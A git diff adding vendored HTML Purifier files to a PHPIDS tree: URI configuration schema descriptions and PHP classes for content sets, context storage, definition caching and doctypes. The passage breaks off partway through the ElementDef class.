+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Host.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Host.txt new file mode 100644 index 000000000..15356ac20 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Host.txt @@ -0,0 +1,19 @@ +URI.Host +TYPE: string/null +VERSION: 1.2.0 +DEFAULT: NULL +--DESCRIPTION-- + ++ Defines the domain name of the server, so we can determine whether or + an absolute URI is from your website or not. Not strictly necessary, + as users should be using relative URIs to reference resources on your + website. It will, however, let you use absolute URIs to link to + subdomains of the domain you post here: i.e. example.com will allow + sub.example.com. However, higher up domains will still be excluded: + if you set %URI.Host to sub.example.com, example.com will be blocked. + Note: This directive overrides %URI.Base because + a given page may be on a sub-domain, but you wish HTML Purifier to be + more relaxed and allow some of the parent domains too. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt new file mode 100644 index 000000000..5f5cbc569 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt @@ -0,0 +1,8 @@ +URI.HostBlacklist +TYPE: list +VERSION: 1.3.0 +DEFAULT: array() +--DESCRIPTION-- +List of strings that are forbidden in the host of any URI. Use it to kill +domain names of spam, etc. Note that it will catch anything in the domain, +so moo.com will catch moo.com.example.com. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt new file mode 100644 index 000000000..2d2b40a5e --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt @@ -0,0 +1,12 @@ +URI.MakeAbsolute +TYPE: bool +VERSION: 2.1.0 +DEFAULT: false +--DESCRIPTION-- + ++ Converts all URIs into absolute forms. This is useful when the HTML + being filtered assumes a specific base path, but will actually be + viewed in a different context (and setting an alternate base URI is + not possible). %URI.Base must be set for this directive to work. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt new file mode 100644 index 000000000..7743ac292 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt @@ -0,0 +1,82 @@ +URI.Munge +TYPE: string/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- + +
+ Munges all browsable (usually http, https and ftp)
+ absolute URIs into another URI, usually a URI redirection service.
+ This directive accepts a URI, formatted with a %s where
+ the url-encoded original URI should be inserted (sample:
+ http://www.google.com/url?q=%s).
+
+ Uses for this directive: +
+
+ Prior to HTML Purifier 3.1.1, this directive also enabled the munging
+ of browsable external resources, which could break things if your redirection
+ script was a splash page or used meta tags. To revert to
+ previous behavior, please use %URI.MungeResources.
+
+ You may want to also use %URI.MungeSecretKey along with this directive + in order to enforce what URIs your redirector script allows. Open + redirector scripts can be a security risk and negatively affect the + reputation of your domain name. +
++ Starting with HTML Purifier 3.1.1, there is also these substitutions: +
+| Key | +Description | +Example <a href=""> |
+
|---|---|---|
| %r | +1 - The URI embeds a resource (blank) - The URI is merely a link |
+ + |
| %n | +The name of the tag this URI came from | +a | +
| %m | +The name of the attribute this URI came from | +href | +
| %p | +The name of the CSS property this URI came from, or blank if irrelevant | ++ |
+ Admittedly, these letters are somewhat arbitrary; the only stipulation + was that they couldn't be a through f. r is for resource (I would have preferred + e, but you take what you can get), n is for name, m + was picked because it came after n (and I couldn't use a), p is for + property. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt new file mode 100644 index 000000000..f86c3e0ca --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt @@ -0,0 +1,16 @@ +URI.MungeResources +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- +
+ If true, any URI munging directives like %URI.Munge
+ will also apply to embedded resources, such as <img src="">.
+ Be careful enabling this directive if you have a redirector script
+ that does not use the Location HTTP header; all of your images
+ and other embedded resources will break.
+
+ Warning: It is strongly advised you use this in conjunction + %URI.MungeSecretKey to mitigate the security risk of an open redirector. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt new file mode 100644 index 000000000..d52ccf488 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt @@ -0,0 +1,29 @@ +URI.MungeSecretKey +TYPE: string/null +VERSION: 3.1.1 +DEFAULT: NULL +--DESCRIPTION-- ++ This directive enables secure checksum generation along with %URI.Munge. + It should be set to a secure key that is not shared with anyone else. + The checksum can be placed in the URI using %t. Use of this checksum + affords an additional level of protection by allowing a redirector + to check if a URI has passed through HTML Purifier with this line: +
+ +$checksum === sha1($secret_key . ':' . $url)+ +
+ If the output is TRUE, the redirector script should accept the URI. +
+ ++ Please note that it would still be possible for an attacker to procure + secure hashes en-mass by abusing your website's Preview feature or the + like, but this service affords an additional level of protection + that should be combined with website blacklisting. +
+ ++ Remember this has no effect if %URI.Munge is not on. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt new file mode 100644 index 000000000..c75b13314 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt @@ -0,0 +1,8 @@ +URI.OverrideAllowedSchemes +TYPE: bool +DEFAULT: true +--DESCRIPTION-- +If this is set to true (which it is by default), you can override +%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme to the +registry. If false, you will also have to update that directive in order +to add more schemes. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.txt new file mode 100644 index 000000000..114ecb17f --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.txt @@ -0,0 +1,2 @@ +URI +DESCRIPTION: Features regarding Uniform Resource Identifiers. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/info.ini b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/info.ini new file mode 100644 index 000000000..d18970427 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/info.ini @@ -0,0 +1 @@ +name = "HTML Purifier" diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php new file mode 100644 index 000000000..070b6f25d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php @@ -0,0 +1,154 @@ + true) indexed by name. + * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets + */ + public $lookup = array(); + + /** + * Synchronized list of defined content sets (keys of info) + */ + protected $keys = array(); + /** + * Synchronized list of defined content values (values of info) + */ + protected $values = array(); + + /** + * Merges in module's content sets, expands identifiers in the content + * sets and populates the keys, values and lookup member variables. + * @param $modules List of HTMLPurifier_HTMLModule + */ + public function __construct($modules) { + if (!is_array($modules)) $modules = array($modules); + // populate content_sets based on module hints + // sorry, no way of overloading + foreach ($modules as $module_i => $module) { + foreach ($module->content_sets as $key => $value) { + $temp = $this->convertToLookup($value); + if (isset($this->lookup[$key])) { + // add it into the existing content set + $this->lookup[$key] = array_merge($this->lookup[$key], $temp); + } else { + $this->lookup[$key] = $temp; + } + } + } + $old_lookup = false; + while ($old_lookup !== $this->lookup) { + $old_lookup = $this->lookup; + foreach ($this->lookup as $i => $set) { + $add = array(); + foreach ($set as $element => $x) { + if (isset($this->lookup[$element])) { + $add += $this->lookup[$element]; + unset($this->lookup[$i][$element]); + } + } + $this->lookup[$i] += $add; + } + } + + foreach ($this->lookup as $key => $lookup) { + $this->info[$key] = implode(' | ', array_keys($lookup)); + } + $this->keys = array_keys($this->info); + $this->values = array_values($this->info); + } + + /** + * Accepts a definition; generates and assigns a ChildDef for it + * @param $def HTMLPurifier_ElementDef reference + * @param $module Module that defined the ElementDef + */ + public function generateChildDef(&$def, $module) { + if (!empty($def->child)) return; // already done! + $content_model = $def->content_model; + if (is_string($content_model)) { + // Assume that $this->keys is alphanumeric + $def->content_model = preg_replace_callback( + '/\b(' . implode('|', $this->keys) . ')\b/', + array($this, 'generateChildDefCallback'), + $content_model + ); + //$def->content_model = str_replace( + // $this->keys, $this->values, $content_model); + } + $def->child = $this->getChildDef($def, $module); + } + + public function generateChildDefCallback($matches) { + return $this->info[$matches[0]]; + } + + /** + * Instantiates a ChildDef based on content_model and content_model_type + * member variables in HTMLPurifier_ElementDef + * @note This will also defer to modules for custom HTMLPurifier_ChildDef + * subclasses that need content set expansion + * @param $def HTMLPurifier_ElementDef to have ChildDef extracted + * @return HTMLPurifier_ChildDef corresponding to ElementDef + */ + public function getChildDef($def, $module) { + $value = $def->content_model; + if (is_object($value)) { + trigger_error( + 'Literal object child definitions should be stored in '. + 'ElementDef->child not ElementDef->content_model', + E_USER_NOTICE + ); + return $value; + } + switch ($def->content_model_type) { + case 'required': + return new HTMLPurifier_ChildDef_Required($value); + case 'optional': + return new HTMLPurifier_ChildDef_Optional($value); + case 'empty': + return new HTMLPurifier_ChildDef_Empty(); + case 'custom': + return new HTMLPurifier_ChildDef_Custom($value); + } + // defer to its module + $return = false; + if ($module->defines_child_def) { // save a func call + $return = $module->getChildDef($def); + } + if ($return !== false) return $return; + // error-out + trigger_error( + 'Could not determine which ChildDef class to instantiate', + E_USER_ERROR + ); + return false; + } + + /** + * Converts a string list of elements separated by pipes into + * a lookup array. + * @param $string List of elements + * @return Lookup array of elements + */ + protected function convertToLookup($string) { + $array = explode('|', str_replace(' ', '', $string)); + $ret = array(); + foreach ($array as $i => $k) { + $ret[$k] = true; + } + return $ret; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php new file mode 100644 index 000000000..f21337228 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Context.php @@ -0,0 +1,81 @@ +_storage[$name])) { + trigger_error("Name $name produces collision, cannot re-register", + E_USER_ERROR); + return; + } + $this->_storage[$name] =& $ref; + } + + /** + * Retrieves a variable reference from the context. + * @param $name String name + * @param $ignore_error Boolean whether or not to ignore error + */ + public function &get($name, $ignore_error = false) { + if (!isset($this->_storage[$name])) { + if (!$ignore_error) { + trigger_error("Attempted to retrieve non-existent variable $name", + E_USER_ERROR); + } + $var = null; // so we can return by reference + return $var; + } + return $this->_storage[$name]; + } + + /** + * Destorys a variable in the context. + * @param $name String name + */ + public function destroy($name) { + if (!isset($this->_storage[$name])) { + trigger_error("Attempted to destroy non-existent variable $name", + E_USER_ERROR); + return; + } + unset($this->_storage[$name]); + } + + /** + * Checks whether or not the variable exists. + * @param $name String name + */ + public function exists($name) { + return isset($this->_storage[$name]); + } + + /** + * Loads a series of variables from an associative array + * @param $context_array Assoc array of variables to load + */ + public function loadArray($context_array) { + foreach ($context_array as $key => $discard) { + $this->register($key, $context_array[$key]); + } + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Definition.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Definition.php new file mode 100644 index 000000000..ecbae6338 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Definition.php @@ -0,0 +1,38 @@ +setup) return; + $this->setup = true; + $this->doSetup($config); + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php new file mode 100644 index 000000000..a318a8e87 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php @@ -0,0 +1,107 @@ +type = $type; + } + + /** + * Generates a unique identifier for a particular configuration + * @param Instance of HTMLPurifier_Config + */ + public function generateKey($config) { + return $config->version . ',' . // possibly replace with function calls + $config->getBatchSerial($this->type) . ',' . + $config->get($this->type, 'DefinitionRev'); + } + + /** + * Tests whether or not a key is old with respect to the configuration's + * version and revision number. + * @param $key Key to test + * @param $config Instance of HTMLPurifier_Config to test against + */ + public function isOld($key, $config) { + if (substr_count($key, ',') < 2) return true; + list($version, $hash, $revision) = explode(',', $key, 3); + $compare = version_compare($version, $config->version); + // version mismatch, is always old + if ($compare != 0) return true; + // versions match, ids match, check revision number + if ( + $hash == $config->getBatchSerial($this->type) && + $revision < $config->get($this->type, 'DefinitionRev') + ) return true; + return false; + } + + /** + * Checks if a definition's type jives with the cache's type + * @note Throws an error on failure + * @param $def Definition object to check + * @return Boolean true if good, false if not + */ + public function checkDefType($def) { + if ($def->type !== $this->type) { + trigger_error("Cannot use definition of type {$def->type} in cache for {$this->type}"); + return false; + } + return true; + } + + /** + * Adds a definition object to the cache + */ + abstract public function add($def, $config); + + /** + * Unconditionally saves a definition object to the cache + */ + abstract public function set($def, $config); + + /** + * Replace an object in the cache + */ + abstract public function replace($def, $config); + + /** + * Retrieves a definition object from the cache + */ + abstract public function get($config); + + /** + * Removes a definition object to the cache + */ + abstract public function remove($config); + + /** + * Clears all objects from cache + */ + abstract public function flush($config); + + /** + * Clears all expired (older version or revision) objects from cache + * @note Be carefuly implementing this method as flush. Flush must + * not interfere with other Definition types, and cleanup() + * should not be repeatedly called by userland code. + */ + abstract public function cleanup($config); + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator.php new file mode 100644 index 000000000..46de1323d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator.php @@ -0,0 +1,61 @@ +copy(); + // reference is necessary for mocks in PHP 4 + $decorator->cache =& $cache; + $decorator->type = $cache->type; + return $decorator; + } + + /** + * Cross-compatible clone substitute + */ + public function copy() { + return new HTMLPurifier_DefinitionCache_Decorator(); + } + + public function add($def, $config) { + return $this->cache->add($def, $config); + } + + public function set($def, $config) { + return $this->cache->set($def, $config); + } + + public function replace($def, $config) { + return $this->cache->replace($def, $config); + } + + public function get($config) { + return $this->cache->get($config); + } + + public function remove($config) { + return $this->cache->remove($config); + } + + public function flush($config) { + return $this->cache->flush($config); + } + + public function cleanup($config) { + return $this->cache->cleanup($config); + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php new file mode 100644 index 000000000..e2d8aa113 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php @@ -0,0 +1,42 @@ +definitions[$this->generateKey($config)] = $def; + return $status; + } + + public function set($def, $config) { + $status = parent::set($def, $config); + if ($status) $this->definitions[$this->generateKey($config)] = $def; + return $status; + } + + public function replace($def, $config) { + $status = parent::replace($def, $config); + if ($status) $this->definitions[$this->generateKey($config)] = $def; + return $status; + } + + public function get($config) { + $key = $this->generateKey($config); + if (isset($this->definitions[$key])) return $this->definitions[$key]; + $this->definitions[$key] = parent::get($config); + return $this->definitions[$key]; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Template.php.in b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Template.php.in new file mode 100644 index 000000000..62235e225 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Template.php.in @@ -0,0 +1,46 @@ +checkDefType($def)) return; + $file = $this->generateFilePath($config); + if (file_exists($file)) return false; + if (!$this->_prepareDir($config)) return false; + return $this->_write($file, serialize($def)); + } + + public function set($def, $config) { + if (!$this->checkDefType($def)) return; + $file = $this->generateFilePath($config); + if (!$this->_prepareDir($config)) return false; + return $this->_write($file, serialize($def)); + } + + public function replace($def, $config) { + if (!$this->checkDefType($def)) return; + $file = $this->generateFilePath($config); + if (!file_exists($file)) return false; + if (!$this->_prepareDir($config)) return false; + return $this->_write($file, serialize($def)); + } + + public function get($config) { + $file = $this->generateFilePath($config); + if (!file_exists($file)) return false; + return unserialize(file_get_contents($file)); + } + + public function remove($config) { + $file = $this->generateFilePath($config); + if (!file_exists($file)) return false; + return unlink($file); + } + + public function flush($config) { + if (!$this->_prepareDir($config)) return false; + $dir = $this->generateDirectoryPath($config); + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) { + if (empty($filename)) continue; + if ($filename[0] === '.') continue; + unlink($dir . '/' . $filename); + } + } + + public function cleanup($config) { + if (!$this->_prepareDir($config)) return false; + $dir = $this->generateDirectoryPath($config); + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) { + if (empty($filename)) continue; + if ($filename[0] === '.') continue; + $key = substr($filename, 0, strlen($filename) - 4); + if ($this->isOld($key, $config)) unlink($dir . '/' . $filename); + } + } + + /** + * Generates the file path to the serial file corresponding to + * the configuration and definition name + * @todo Make protected + */ + public function generateFilePath($config) { + $key = $this->generateKey($config); + return $this->generateDirectoryPath($config) . '/' . $key . '.ser'; + } + + /** + * Generates the path to the directory contain this cache's serial files + * @note No trailing slash + * @todo Make protected + */ + public function generateDirectoryPath($config) { + $base = $this->generateBaseDirectoryPath($config); + return $base . '/' . $this->type; + } + + /** + * Generates path to base directory that contains all definition type + * serials + * @todo Make protected + */ + public function generateBaseDirectoryPath($config) { + $base = $config->get('Cache', 'SerializerPath'); + $base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base; + return $base; + } + + /** + * Convenience wrapper function for file_put_contents + * @param $file File name to write to + * @param $data Data to write into file + * @return Number of bytes written if success, or false if failure. + */ + private function _write($file, $data) { + return file_put_contents($file, $data); + } + + /** + * Prepares the directory that this type stores the serials in + * @return True if successful + */ + private function _prepareDir($config) { + $directory = $this->generateDirectoryPath($config); + if (!is_dir($directory)) { + $base = $this->generateBaseDirectoryPath($config); + if (!is_dir($base)) { + trigger_error('Base directory '.$base.' does not exist, + please create or change using %Cache.SerializerPath', + E_USER_ERROR); + return false; + } elseif (!$this->_testPermissions($base)) { + return false; + } + $old = umask(0022); // disable group and world writes + mkdir($directory); + umask($old); + } elseif (!$this->_testPermissions($directory)) { + return false; + } + return true; + } + + /** + * Tests permissions on a directory and throws out friendly + * error messages and attempts to chmod it itself if possible + */ + private function _testPermissions($dir) { + // early abort, if it is writable, everything is hunky-dory + if (is_writable($dir)) return true; + if (!is_dir($dir)) { + // generally, you'll want to handle this beforehand + // so a more specific error message can be given + trigger_error('Directory '.$dir.' does not exist', + E_USER_ERROR); + return false; + } + if (function_exists('posix_getuid')) { + // POSIX system, we can give more specific advice + if (fileowner($dir) === posix_getuid()) { + // we can chmod it ourselves + chmod($dir, 0755); + return true; + } elseif (filegroup($dir) === posix_getgid()) { + $chmod = '775'; + } else { + // PHP's probably running as nobody, so we'll + // need to give global permissions + $chmod = '777'; + } + trigger_error('Directory '.$dir.' not writable, '. + 'please chmod to ' . $chmod, + E_USER_ERROR); + } else { + // generic error message + trigger_error('Directory '.$dir.' not writable, '. + 'please alter file permissions', + E_USER_ERROR); + } + return false; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/README b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/README new file mode 100644 index 000000000..59bde5c8a --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/README @@ -0,0 +1 @@ +This is a dummy file to prevent Git from ignoring this empty directory. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCacheFactory.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCacheFactory.php new file mode 100644 index 000000000..fd6328f6c --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCacheFactory.php @@ -0,0 +1,90 @@ + array()); + protected $implementations = array(); + protected $decorators = array(); + + /** + * Initialize default decorators + */ + public function setup() { + $this->addDecorator('Cleanup'); + } + + /** + * Retrieves an instance of global definition cache factory. + */ + public static function instance($prototype = null) { + static $instance; + if ($prototype !== null) { + $instance = $prototype; + } elseif ($instance === null || $prototype === true) { + $instance = new HTMLPurifier_DefinitionCacheFactory(); + $instance->setup(); + } + return $instance; + } + + /** + * Registers a new definition cache object + * @param $short Short name of cache object, for reference + * @param $long Full class name of cache object, for construction + */ + public function register($short, $long) { + $this->implementations[$short] = $long; + } + + /** + * Factory method that creates a cache object based on configuration + * @param $name Name of definitions handled by cache + * @param $config Instance of HTMLPurifier_Config + */ + public function create($type, $config) { + $method = $config->get('Cache', 'DefinitionImpl'); + if ($method === null) { + return new HTMLPurifier_DefinitionCache_Null($type); + } + if (!empty($this->caches[$method][$type])) { + return $this->caches[$method][$type]; + } + if ( + isset($this->implementations[$method]) && + class_exists($class = $this->implementations[$method], false) + ) { + $cache = new $class($type); + } else { + if ($method != 'Serializer') { + trigger_error("Unrecognized DefinitionCache $method, using Serializer instead", E_USER_WARNING); + } + $cache = new HTMLPurifier_DefinitionCache_Serializer($type); + } + foreach ($this->decorators as $decorator) { + $new_cache = $decorator->decorate($cache); + // prevent infinite recursion in PHP 4 + unset($cache); + $cache = $new_cache; + } + $this->caches[$method][$type] = $cache; + return $this->caches[$method][$type]; + } + + /** + * Registers a decorator to add to all new cache objects + * @param + */ + public function addDecorator($decorator) { + if (is_string($decorator)) { + $class = "HTMLPurifier_DefinitionCache_Decorator_$decorator"; + $decorator = new $class; + } + $this->decorators[$decorator->name] = $decorator; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php new file mode 100644 index 000000000..63b48df2d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php @@ -0,0 +1,59 @@ +renderDoctype. + * If structure changes, please update that function. + */ +class HTMLPurifier_Doctype +{ + /** + * Full name of doctype + */ + public $name; + + /** + * List of standard modules (string identifiers or literal objects) + * that this doctype uses + */ + public $modules = array(); + + /** + * List of modules to use for tidying up code + */ + public $tidyModules = array(); + + /** + * Is the language derived from XML (i.e. XHTML)? + */ + public $xml = true; + + /** + * List of aliases for this doctype + */ + public $aliases = array(); + + /** + * Public DTD identifier + */ + public $dtdPublic; + + /** + * System DTD identifier + */ + public $dtdSystem; + + public function __construct($name = null, $xml = true, $modules = array(), + $tidyModules = array(), $aliases = array(), $dtd_public = null, $dtd_system = null + ) { + $this->name = $name; + $this->xml = $xml; + $this->modules = $modules; + $this->tidyModules = $tidyModules; + $this->aliases = $aliases; + $this->dtdPublic = $dtd_public; + $this->dtdSystem = $dtd_system; + } +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php new file mode 100644 index 000000000..94c2ceca5 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DoctypeRegistry.php @@ -0,0 +1,102 @@ +doctypes[$doctype->name] = $doctype; + $name = $doctype->name; + // hookup aliases + foreach ($doctype->aliases as $alias) { + if (isset($this->doctypes[$alias])) continue; + $this->aliases[$alias] = $name; + } + // remove old aliases + if (isset($this->aliases[$name])) unset($this->aliases[$name]); + return $doctype; + } + + /** + * Retrieves reference to a doctype of a certain name + * @note This function resolves aliases + * @note When possible, use the more fully-featured make() + * @param $doctype Name of doctype + * @return Editable doctype object + */ + public function get($doctype) { + if (isset($this->aliases[$doctype])) $doctype = $this->aliases[$doctype]; + if (!isset($this->doctypes[$doctype])) { + trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR); + $anon = new HTMLPurifier_Doctype($doctype); + return $anon; + } + return $this->doctypes[$doctype]; + } + + /** + * Creates a doctype based on a configuration object, + * will perform initialization on the doctype + * @note Use this function to get a copy of doctype that config + * can hold on to (this is necessary in order to tell + * Generator whether or not the current document is XML + * based or not). + */ + public function make($config) { + return clone $this->get($this->getDoctypeFromConfig($config)); + } + + /** + * Retrieves the doctype from the configuration object + */ + public function getDoctypeFromConfig($config) { + // recommended test + $doctype = $config->get('HTML', 'Doctype'); + if (!empty($doctype)) return $doctype; + $doctype = $config->get('HTML', 'CustomDoctype'); + if (!empty($doctype)) return $doctype; + // backwards-compatibility + if ($config->get('HTML', 'XHTML')) { + $doctype = 'XHTML 1.0'; + } else { + $doctype = 'HTML 4.01'; + } + if ($config->get('HTML', 'Strict')) { + $doctype .= ' Strict'; + } else { + $doctype .= ' Transitional'; + } + return $doctype; + } + +} + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php new file mode 100644 index 000000000..460fc1767 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php @@ -0,0 +1,161 @@ +setup(), this array may also + * contain an array at index 0 that indicates which attribute + * collections to load into the full array. It may also + * contain string indentifiers in lieu of HTMLPurifier_AttrDef, + * see HTMLPurifier_AttrTypes on how they are expanded during + * HTMLPurifier_HTMLDefinition->setup() processing. + */ + public $attr = array(); + + /** + * Indexed list of tag's HTMLPurifier_AttrTransform to be done before validation + */ + public $attr_transform_pre = array(); + + /** + * Indexed list of tag's HTMLPurifier_AttrTransform to be done after validation + */ + public $attr_transform_post = array(); + + /** + * HTMLPurifier_ChildDef of this tag. + */ + public $child; + + /** + * Abstract string representation of internal ChildDef rules. See + * HTMLPurifier_ContentSets for how this is parsed and then transformed + * into an HTMLPurifier_ChildDef. + * @warning This is a temporary variable that is not available after + * being processed by HTMLDefinition + */ + public $content_model; + + /** + * Value of $child->type, used to determine which ChildDef to use, + * used in combination with $content_model. + * @warning This must be lowercase + * @warning This is a temporary variable that is not available after + * being processed by HTMLDefinition + */ + public $content_model_type; + + + + /** + * Does the element have a content model (#PCDATA | Inline)*? This + * is important for chameleon ins and del processing in + * HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't + * have to worry about this one. + */ + public $descendants_are_inline = false; + + /** + * List of the names of required attributes this element has. Dynamically + * populated by HTMLPurifier_HTMLDefinition::getElement + */ + public $required_attr = array(); + + /** + * Lookup table of tags excluded from all descendants of this tag. + * @note SGML permits exclusions for all descendants, but this is + * not possible with DTDs or XML Schemas. W3C has elected to + * use complicated compositions of content_models to simulate + * exclusion for children, but we go the simpler, SGML-style + * route of flat-out exclusions, which correctly apply to + * all descendants and not just children. Note that the XHTML + * Modularization Abstract Modules are blithely unaware of such + * distinctions. + */ + public $excludes = array(); + + /** + * Low-level factory constructor for creating new standalone element defs + */ + public static function create($content_model, $content_model_type, $attr) { + $def = new HTMLPurifier_ElementDef(); + $def->content_model = $content_model; + $def->content_model_type = $content_model_type; + $def->attr = $attr; + return $def; + } + + /** + * Merges the values of another element definition into this one. + * Values from the new element def take precedence if a value is + * not mergeable. + */ + public function mergeIn($def) { + + // later keys takes precedence + foreach($def->attr as $k => $v) { + if ($k === 0) { + // merge in the includes + // sorry, no way to override an include + foreach ($v as $v2) { + $this->attr[0][] = $v2; + } + continue; + } + if ($v === false) { + if (isset($this->attr[$k])) unset($this->attr[$k]); + continue; + } + $this->attr[$k] = $v; + } + 